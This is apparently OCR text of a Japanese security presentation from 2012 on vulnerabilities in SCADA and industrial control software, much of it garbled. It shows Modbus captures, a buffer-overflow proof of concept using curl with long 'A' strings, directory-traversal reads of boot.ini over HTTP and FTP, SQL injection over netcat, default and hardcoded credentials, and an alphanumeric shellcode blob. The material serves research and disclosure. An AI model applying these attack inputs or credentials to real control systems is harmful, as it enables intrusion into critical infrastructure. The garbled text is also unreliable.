: Japan Computer Emergency Response Team Coordination Center
DN : c=JP, st=Tokyo, |I=Chiyoda-ku, email=office@jpcert.or.jp, o=Japan Computer
Japan Computer Emergency Response Team Coordination Center Emergency Response Team Coordination Center, cn=Japan Computer
Emergency Response Team Coordination Center
:2012.03.02 10:37:07 +09'00'
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PLC (Programmable Logic Controller) QP
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o J4—ILF#EES (INILT ARV T SA4 b B—3—.
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Modbus®D{x#k (1) 7T XK)

CyberDefense

® Transmission Control Protocol, Src Port: tdmoip (2142), Dst Port: asa-appl-proto (502),
= mModbus /TCP
transaction identifier: 21248
protocol ddentifier: 0
length: 6
unit ddentifier: 1
= Modbus
function 1: Read coils
reference number: 0
bit count: 100

0000 1 Cc 28 7¥ O Ca OB 0 29 57 B4 08 B9 B 45 B2 ..)F.... JW....E.
0010 £4 04 34 BN O@ OF BN O &7 OF Bh Bl 6T 5T BB W .40..... b..dw_.d
0020 97 94 ©F Jue OL ¥% o o b B3 B3 7L PO B2 W LS WT.A.... . .Q..P.
0030 f9 a6 a4 30 00 00 FENFNEEEEEIEEIE N NERERE ...o..ﬁ
0040 [ENED . d

: N

transaction id protocol id length function

bit count reference

number

unitid
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® Transmission Control Protocol, Src Port: asa-appl-proto (502), Dst Port: t

transaction identifier: 21248
protocol identifier: 0

length: 16
unit ddentifier: 1
= mModhus

function 1: Read coils
byte count: 13

Data
D000 O O % KX kel o o0 3 I8 Ml G BG CE CE 4% £4 AW SRS PR i
D010 il Lar LT S5 .iu;' Cr ;m“ aw’ ¥ g nz !’f-!l 12 %4 nq '5-!1 W@, .. L..dwT.d
ho20 &F B dg 1 i la o et O % de 48
D030 f7 0Oc 3
0040 [FIVEIEIE

[EAOffMnOnIZtNY B oT=

8 70 38 73 00 00 20 00 00 00 00 10 01 01 Od
00 00 00 00 00 00 00 00 00 00 00 00
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port:502

ModbusH—/\
(AL—T)
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Modbust—/\DRfe55 %

CyberDefense

H—s\(port 502) NRIEGZ/NT Y XD ETERE DAY N ERIT A RE

File Miew Debug Plugins ImmLib Options Window Help Jobs
(O™ % EE «x b Il b T
)

41414141
P 41414141

b R

| [13:01:10] Access violation when executing [41414141] - use Shift+F7/F8/F9 to pass exception to program Paused
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w|ilala|n “&’?‘X?Nf?k{?
ADD ADD. #00 BLOCK R MONITOR | DEVICE
CHANNEL DEVICE | GROUP TAG | TAGADD ASTE £71 PROPS. MODE | STATUS. ABOUT HELP |
‘-iﬁDevical Type Location | Processing | Value
2§ Groupd B Tagl Output Regi.. 40001
£ Group! [ Tae2 Output Regi.. 40001
=i Device Output Regi.. 40001
8 Group0

EREYLEDlengthE i ETHET
£ - / Dovia

| Native Type | Requested Type | Value [ Timestamp [ Quality
VT2 VT EMPTY 1 01/14/121642.. Good il

# Transmission Control PpOtocol, Src Port: asa-appl-proto (502), Dst Port: Twv-
= Modbus /TCP

transaction id ifier: 0

protocol de

w00
il

REMOUE
it

umTe
it

i

REFRESH;

Date | Time | Source Tem D
E) 01/14/12 043838 SERVER | Devicel GroupllTael
Devicel Group(. Tag2

Ready

= Modbus
function 3: Read multiple registers
byte count: 2

Data
|
0000 B B 2% ST M B B0 &4 o F S O 0% 00 4 G0 L L. F Bl K.
0010 B3 HE BE B 30 B0 50 B W J7 G & Y Q0 G e i, (B kL.d
0020 57 5f 01 6 08 60 55 a9 e7 a0 a0 63 27 al 50 18 w_... U. ...C'.P.

0030 ff ff d8 ef 00 00 00 00 00 OO [FgEM 00 03 02 00  ........ ..HH....
0040 00 .
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Please wait while SQL Server configuration
checking

Check SQL Server Gonfiguration 3

= S—{—ap i O o &= q
— - i Eh =
- ¥ plc quantum plc noe?7 1xx user manual v5.0
= Establishing the HTTP Password Table of Contents
: Safety Information
——g Owverview 'Io'xh%:?lluwing information describes how to setthe HTTP Password for the NOE 771 About the Book
— V- Product Description
Medifying the The following steps detail how to link to the correct Web page for modifying the Im stalling R
HTTP F HTTP F > Configuring the Module with Concept
| Sten | Actian » Transferring Data using Communication Blocks
! EE:;‘;E::‘D:‘;:E:NE' ntpimostnamelsecure/embedded’ Transferring Data with the Global Data (Publish / Subscr...
2 | When you enter the URL. you will be requested 1o supply a user name and Transferring Data with the I/0 Scanner 140 NOE 771 -0...
password, Embedded Web Pages

The fallewing figure displays the Enter Network Password dialog box.
Enter Network Password

™ Save this password in your password st

3 Upon supplying the user name, password. and clicking the OK button, the
Modify HTTP Server User Name and Password page displays.
NOTE: The defaull User Name is USER, and the default Password is USER.
Both should be changed by the system administrator during module installation.

[¥ plc quantum plc noe771xx user manual v5.0.pdf (~<—37 52/306)

L /0

Address Server Configuration [ Faulty Device Replacement
Hot Standby

Using the Network Options Ethernet Tester

SNMP

Maintenance

Appendices

Specifications

Ethernet Developers Guide

Quantum Ethernet TCP/IP Modbus Application Protocol
NOE 771 -00, -01, and -11 Modules I/O Scanner Perfor...
Clossary

Index

v HH H rd y




\WwWI7A—/\—270—[Z&Y
FEEDATURFZEELITHEE

I I M I 0) 15] 4 Immunity Debuegeger — webserver.exe — [GPU — main thread]

Eile Debue ifindowe Help  Jobs - 8 X

CyberDefense

Wi Pluging  Immlib  Options

-

EeEnEn e webserver.exe
IP-Addred 1= s . ;
Port : 808 fipphlame: webserverexe  AppWer: 1198 MadMame: unknown O

" Root direq  Modver 0000 Offset 41414141 _ it BIEFEFRRFE)
Connected to | seqmsne 1 © @UEFFFFFFE)
IP-Ad COTT ARSI, FIRBIFUELEIS0 webserverexe OIRRIBATRIEN, (AL T(BAAL—T % 2FFDEEGFRF)
Part - gl AT LM s LT T = W=, S DR SRR e s T S AL G AREEG T
B ere - ID, T 15D ea =2 ZFO D) TR th?\ﬁ‘i‘é‘iniﬁo
EXALK LK W TS, BEEOTP b B2EL. PR EF -l PELASEA RS E TSGR

EEOEEREITE TS B0 Y Ae_LDL. ERDOIr ILIS0T —AhE HERESEDE
SyssockCor | OIS SIS RS, CNADETEE TS T, W T BERERE A
<=Socket ?éiﬂ)[d}fﬁﬁ?éutiiﬂéﬂiﬁ ® : N

_ i 7 " 4 ﬂ:ﬂ - v apt Y c Default =
< ﬁ;ﬁggﬁ%g?{ﬂﬁ_{; E‘E%ﬁﬁﬁj ?; Jﬂ;jr[.f%j Fﬁ%?ﬁg%#%?éﬁéﬁfﬁ%ﬁg —F;fﬂiﬁgn#[q e 5 curl http://target/AAAAAAAAAAAAAAAAAAAAAAAAAAAA
=T AAMEHIEREN SO BT A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

. ]

Ij_i'iﬁ.ct'[tﬁaﬁ?fﬂﬁ E;E' Lo : ?‘ . AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HHOT -RER - g el AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
S —— AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
B L TIRCE . AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

IS HEICEENET -R0SE ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I5-HEEREETDE pry 5 WAL | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA &
LY.YYYYYY | -

['I 5:19:43] Access wolatlon when executing [41414141] - uze Shift+F7/F3/F3 to pass exception to pre
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SQLAo x93 (?) in AJAX
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WAL ERL AR ERCANEY 9-al) ARG

Om- &3 e AN £ BN - I 3

W etruder  eDest wdow  ein

target wrowe et

- S
- Lo J Y 1)
st
R . ik NLMY & 3 Bmgenes :
~ > atea I tean/plasn
S | a< e
Mer-Agern Moxilinvag, MPAL LD Le2 31
0. 04804, 48 NIT CLE $.25083

L2
L e T e
orent -Lengin: A4

seleee ¢ from weer iog

e poe e

&1 bt CTT prapernys o dmacr et dec e nt o

Svern Jdres

-,

..

BTL A0 T

rrmgam et P e

VEIARRAATALRE. T4 FDANR Yo LC O MY,

s e A . - St ————t STV oemtas

gy R0 AT LN i




SQLA>ox 9332 (?) in Y—N\ §[7
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806 Default —

$ nc scada 3778 €— h—FZHehR

.TABLES; 18(— SQL: 7 P%?ﬁ'

- SQLaOV R 4T

/

select * from eventlog limit 1; @
o ”) v



T4LIK) 5 /8—H )L in WebH—/\ .
%d)l CyberDefense

Default —
$ curl http://scadaserver:800
[boot loader]

timeout=30
default=multi(@)disk(@)rdisk(@)partition(1)\WINDOWS
[operating systems]
multi(@)disk(@)rdisk(@)partition(1)\WINDOWS="Microsoft
Windows XP Professional"” /noexecute=optin /fastdetect

H—NLEDT7AMILEEAHL




T4L IR /N—H)L in WebHY—/\

CyberDefense

Indusoﬂ- Web Studlo ['.9 Home Screen "E g;?;vsnes ”@ Switch User... ][_ ExitApplication
Demo Application Oil and Gas

Corpaorate

[operating systems]
multi(@)disk(@)rdisk(@)partition(1)\WINDOWS="Micro
= on [ usmeseaeeoce [ 101005757 soft Windows XP Professional” /noexecute=optin ;"Fam

sI #_,g‘ = =x =2, LM Y

|
— grace




FALOR)RS/A—H)L in FTPH—/N

CyberDefense

. NaNe) Default
$ ftp scada € FTP"G*&%}E
‘Connected to scada.
220 muw = LEPTeET ready. o .
Name (scada: ulamm=.): noexist <€ d1—H 4 ‘i1ﬂf%ﬁé
331 User name okay, need password.
Password:
230 User logged in, proceed.
Remote system type is WIN32. . .
ftp> get ..\\..\\boot.ini <€ TALOR)RZIN—H)L
local: ....boot.ini remote: ..\..\boot.ini
227 Entering Passive Mode (.= [ =0 & n,4,57).
150 File status okay; about to open data connection.
N 211 123.09 KiB/s
226 Closing data connection.
211 bytes received in 00:90 (106.04 KiB/s)

ftp> AD

221 Goodbye.

$ cat ....boot.ini /8
[boot loader] / Hy‘f?fﬁk_.y]
timeout=30

default=multi(@)disk(@)rdisk(@)partition(1)\WINDOWS

[operating systems]
multi(@)disk(@)rdisk(@)partition(1)\WINDOWS="Microsoft Windows
XP Professional"” /noexecute=optin /fastdetect ¢

s il
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« CVE-2008-0175

CyberDefens

« GE Fanuc Proficy Real-Time Information Portal

E3 Proficy Histo strator on [USER-F5B83A6GD36] Server in DEM

Proficy” Historian

System Statistios %Mam @Ta:s %~ Gollectors @ Archives =] Messages
Receive Rate 48 (Euents/Min)
Archive Compression - Server Memory I
50 Write Cache Hit Free Space a9 (ME)
a0 Failad Write s 0 (Ewents) Consumption Rate 995 (MBS Tay)
- Meszages Since Startup 27 (Messages) E=t. Days to Full 1.0 (Days)
- Alerts Since Startup 9 (Alarts]) Tags 0 (25 Licenzed)
- Calculations Dizable d) Users 1 (1 Licensed)
0 Server to Server (Dizabled) Alarm Rate 0 (Alarms/Min )
1 2 3 4 5 B 7 & 9 10 Alarms Since Startup 0 CAlarms)
7z~ Collectors [~ Auto Refresh
Colle ctor Status

Computer Report Rate Dwerruns Dompression Out OfOrder Redundan cy

Running LISEl SE83AGD3E u] 0% L u]
USER-FEES3AGD30 Simulation Funning uzer—fHbE3aldin o 0.0% L o
< >
Alarts [w Show Alerts [ Auto Refrash
Timestamp Topic Message
2012501 M6 173025 Security DataArchiver(Datasrchiver) Cannot start Calculation collector. Mot licenzed. 011612 1 7:30:25.000
2012501 161 T30ES Services LISER-FBES3 AGDE6 Calculation Collector — Shutdown
201 2S00 MG TEmEd Services USER-FSE232ASDEE Calculation Collector — Startup
2012 01 AE1T7300 7 Performance CrataArchiver(Datasrchiver) There is one day until closing archive user—Gb33a6d36 _Archive 001
201250 A e T30 2 Services (USER-FGE23 AGLE6E File ) Setting Status To 'Connection Established.
201201 A6 1730 2 Seriices DatadrochiverDatabrchiver) Interface USER-FEB23AGD326 File statusis running (1 1612 17300 2.078)
2012501 16 17:29:39 Serices DatadrchiverDatasrchiver] Interface USER-FBES 2 ASDE6_Simulation status is running (0 71612 17:20:38.875)
2012501 /16 17:29:36 Services LSER-F5B23 AGD36 _Simulation Colle ctor — Startup
20 es0 161 7:29:00 Services Datasrchiver(Datasrchiver) Archiver started at 01161 2 17:25:59 546
201201 16 17:28:00 Servces DatasdrchiverDatadrchiver) Archiver shutdown at 01 /16512 17:25:00.359
201201 A6 1 TETET Performance DatadrchiveriDatadrchiver) Added Archive user—Bb33afd36 _Archive 002 ot 01 A1 6121 7:27:56.750




/-Technologies (7T) IGSS Data Server
75\/ \‘J77T_l 7|:|_' J:Ubj\J /:L'd_éﬂﬁisg HE CyberDefens

« UCQIZ&LDEITH

* |CSA-11-335-01

) ICS-CERT

r'=/ INDUSTRIAL CONTROL SYSTEMS CYBER EMERGENCY RESPONSE TEAM

ﬁﬁ1%é;ha Z/ {“J77ct [’) %7"& T — ICg‘EI‘:CERT ADVISORY
h‘ % % J\A .i *]J 1_: B;ﬂj-‘ ‘ : _-_ j— é ::j:l;:;-::;“ 7-TECHNOLOGIES IGSS DATA SERVER BUFFER OVERFLOW

ICS-CERT originally released advisory “ICSA-11-335-01P - 7-Technologies Data Server Denial of
Service” in the US-CERT secure portal on December 01, 2011. This web page release was delayed to
allow users time to download and install the update.

Security researcher UCQ from the Cyber Defense Institute, Inc.” has identified a buffer overflow
vulnerability in the 7-Technologies (7T) IGSS Data Server application.

ICS-CERT has coordinated with 7T, which has produced a patch to resolve this vulnerability. The Cyber
Defense Institute, Inc. has tested the patch and confirmed that it resolves the reported vulnerability.

AFFECTED PRODUCTS

Version 9.0.0.11200 of 7T IGSS Data Server is affected.

IMPACT

Successful exploitation of this vulnerability can allow an attacker to execute a remote denial of service
(DoS) against the 7T data server on the targeted host computer, resulting in adverse application
conditions.

Impact to individual organizations depends on many factors that are unigue to each organization.
ICS-CERT recommends that organizations evaluate the impact of this vulnerability based on their
operational environment, architecture, and product implementation.

http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf
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aAvUR—& J71ILDERE—E

. Request Online Request STDREP S Lstal

. Request Log Request ALM «  Write file

« Request BCL Request ALMTXT . ReadFile

« Request HDM Request USERS . Delete

« Request ELM Request DESCR _ . Rename

« Request CMDSTAT Request general file . Filelnfo

Request RMS

Request alarm Note



|GSS Data Server
(ICSA-11-335-01 D fa5514)

= T w
- -
IG55 Master - Demo — DemoStation - = X
Home Runtime and Diagnostics Information and Support ©
o G ﬁ 7_-\'\ e = EE
- % "‘ m --_"\’-. ‘__" B Change
Start Stop Restat Supervise Alarm  Dashboard Job Maintenance Manual Report  Notifier Language
Scheduler Editor <
Data Collection Applications Language
Status ¥ || Start Page g
| a System is started 1GSS
oss pataserer 1
A PLG communication is simulated IGSS Data Server
Reports FEIREHREE LA/, IGSS Data Server ®5E T LET. CTEEENTLTHL
ERENEH AL
X;. Actual Value_Report FEEBRPTH RS, (EERP OGRS T SN T,
|
@ Alarm_Report CIDREIRE%E Microsoft [ZERELTEEw, lrds |-
e SERH S AT S RS ERSNE L. 3T, SO EE A
| L TIOE T
‘—. Maintenance_Report
= IS EENHT —SMEEE Co A HEL nu;ers
| Feriodical Report -
@ IS-EasizdaE | EELsLo
- TTOTE-TITOTTIITITOT oI 2
Customized reports ) ) )
i o The IGSS website, wywww.igss. com, contains
- Easy report CDNFIQUfat_'Dn in kS Ewcel camprehenzive information about product features,
- Use any data source in IG55 support and raining.
- Create event-based reparts
— - Save a3 #LS, PDF, PS5 or HTML - Praduct Information
iﬁ} Help - Customer Cazes y
= - Trairing Yideos
. - Technical Mews
‘ Reports Notifier - Support and FAQ
- Handle alarmg from different SCADA mpetams
ﬂ Dashboards - Send alams to cell phanes Contact information
- Acknowledge alams wia sms
- Control objects remotely via sms 7-Technologies hd

. Demo license installed

CyberDefense
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o strepylE®ERLI=&LS71=
. sprmtf$€*ﬁ,%tb’€l,\%>0)’€(i°

mmmmmmmmmmmmmmmmmmmmmmmmm
| L WD e certor oy se-rues fc-mse34-c =1

strepyDERRTEIZ DL TIE
EELSEEERL TLVE AN,
ZD/DOEZIZDOLNTIE
THIZEFRBADEL

JPCERT/CCHA IRt AICERT X 7a—T4Y

ABF —R 1B ARFERK Y R
http://www.jpcert.or.jp/sc-rules/c-msc34-c.html
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2 VIAM I7 4%
4 E BEE HTN BRCANGE ALTH

(] IDCF33DF4-B510-439F-8324-16B6B514F:
(] IDCFB08B2-FB00-461hb-82D A-35045E ADF
(] {DD13DE77-D3BA-42D4-B5C6-7745F AJE:
(] {DD2110F0-9EEF-11c{-8DBE-00AAODROFS
(] {DD313ED4-FEFF-11d1-8ECD-0000FE7 A4
3D D522 ACC-FB21-461 A-A407-50B198B89
@ DDSB56E-8151-3334-BREG-07CB152820
DDB11 AF1-2347-11d3-8E D4-00600SE 7DE
DDE33513-774E-4BCD-AE79-02F 4ADFEE
DDE5783A-88B9-11d2-84 AD-00C04F A31
DE47DICF-0107-3066-93E9- ASACEOBEA
DE4874D1-FEEE-11d1-ADBO-00C04F A31
New password: | Cancel DE4a74D2-FEEE-11d1-A0B0-00C04F A31
" DEBC1098-03CA-4F40-BEFO-262413CA1
DE750012-7465-11D2-8GE A-0DADCA441
DEBSC160-FF20-11D1-BBAF-00C04F AE:
IDE ASAF AD-C085-11D0-9CE2-0080CT221
+ (] {DEASAF 41-C085-11D0-9CE2-0080G 7221
+ (] {DEABAF A2-CO85-11D0-9CE2-0080G 7221
4 (] [dee5070-506b-11cf-b1aa-002a00bAde05}
# (1] {dee35071-508b-11cf-b1 aa-00aa00bAde95}
# (]
CI

(] {DC923725-0FDD-45E1-AET4-EADIIB2ET A | | 225 FEE] Fh
(] {DCBDBF A8-032F-11D3-B5B1-00C04FC3: B Sncg,
E) REG_SZ {BOERERL
(] {dcceObed-6066-11d1-8¢13-00c04fdad503} Value REG BINARY €0 85 gb Sc.; ee db 39 8 00
@ 4
+

J--E BB

GCoDeSys Gateway Server: Change password

Current password:

Confirm password: |
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CoDeSys Gateway Server: Change password  [X|

Current password: ['— oK Lurrent password: |

New password: Cancel

New password: | n Cancel I é | I
Confirm password: I

Confirm password: ,—

Get the master password for the
following number from your OEM to
clear the current password

I 6446C86519194ECE

Master password:

I
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£OBJECT classid="cl=zid:d ' height=200 style="LEFT: Opx: TOP: Opx” width="1008"" >«
: <PARAM MAME="] ' : ’ = DL
<PaRAM MAME="Columnit® WALUE=10></PARAHE -
<PARAM MAME="Columni” WARLUE="1, 150, 0, TR, ddbdb o000 05 5000000 b 50006000500 060665 GG o 666666 o666 b 666606666666
{fOBJECT>" <
P
|
<BUTTONM ID="Buttonl® onclick="Togzle"»Start</BUTTON: <
<P ID="opcltemns”»Pleaze click the "Start’ button to connect the OPC Server. </P><
o
<CENTER>«

{BR>+
[risbt-rlicl anwwherse in the window t0 wiew the olrees ~ode] st
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WriteTextData()
* OpenTextFile()
* CreateProcess()
e addUser()
« SetlpAddress|()
« SendCmd()

« SDFileDelete()
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BACnet Device Simulator

A SCADA Engine BACnet OPC Client
q Eil= Edit Wiew Help

Toolz
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(] scada

Edit Tae

* arror ¥

OPC_TAG_NAME

¥
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5BB5BE8EE5E88E88E8EE883E888B888888BE88
8B8B56E868856888E88E8EE88E88EB888EB86E88
5BB56EB368656888E58E86E88B56868686886688
5BB5EE368656888E58E86E88E5686868E886688
BEEBBIVEX XY R
OlIIIQZVTX630VX4ADBEHHOB30BCVX 2BDBHAAZAD
0ADTBOGBOADAVX4Z8B0JOMNOJNFTBOBPBPKHE
DNSKXNTEOJTAPONKXO4JQKXOEBRADKNIDKXFIKS
APPNAIBLINJFEBLF7GOALLLMOAPDLKNFOK3FUF2
FPEWENKXOUFBAOKNHEKXNOK TKXOENGADKNKXN
AKHAPKNIHNUFBFOCLACBLFFKXBDBSESBLIWNOK
XBTNOKXBGN1MJKXJVIPKNIOKSBHBKBOBOBOKXJG
NCOUACHOBEHEIBJOCKBLKWESJEONPLENBEJFJI
OLHPOGS00GNGFMEFVP2EGJWEFB20BCVBBPEES
WBREWCGEGD TB2CGBWNBOFIGFWB2G TAFDWEFBS
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OBJECT TYPE INSTANCE
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OBJECT_NAME
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push eax

Mov &ST, &CX
cal | sub_1001B332

and dword ptr [ebp-4]1, 0

pUSh 3Ch

push offset a2wsxcder ; "ZWSKcder”

push of fset allinccconnect ; “WinCCConnect”

push of fset aMaster ; “master”

push offset aWincc ; 7.¥¥WinCC”

push offset aSaloledb ; "sgloledbh”

lea eax, Lebp-38h]

push offset aProviderSDataS ; "Provider="%s";Data Source=%s;Initial Ca”...
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4B4
4B5
4B6
4B7
4B8
4B9
4BA
4BB
4BC
4BD
4BE
4BF
4C0
4C1
4C2
4C3
44
4ChH

db

db 0Bh
db 0
db 2

4B4 unk_1003A4B4 db OFBh ; 4
db ?Ub . p

& 5ok R
db ?[:Ih s P

db 68h : h

d: SER
db WWIZ 8

b 7

db HDEh :

db 0ADh ; =

do OFOh : <

do 7

db 39h ; 9
db S0h :

{
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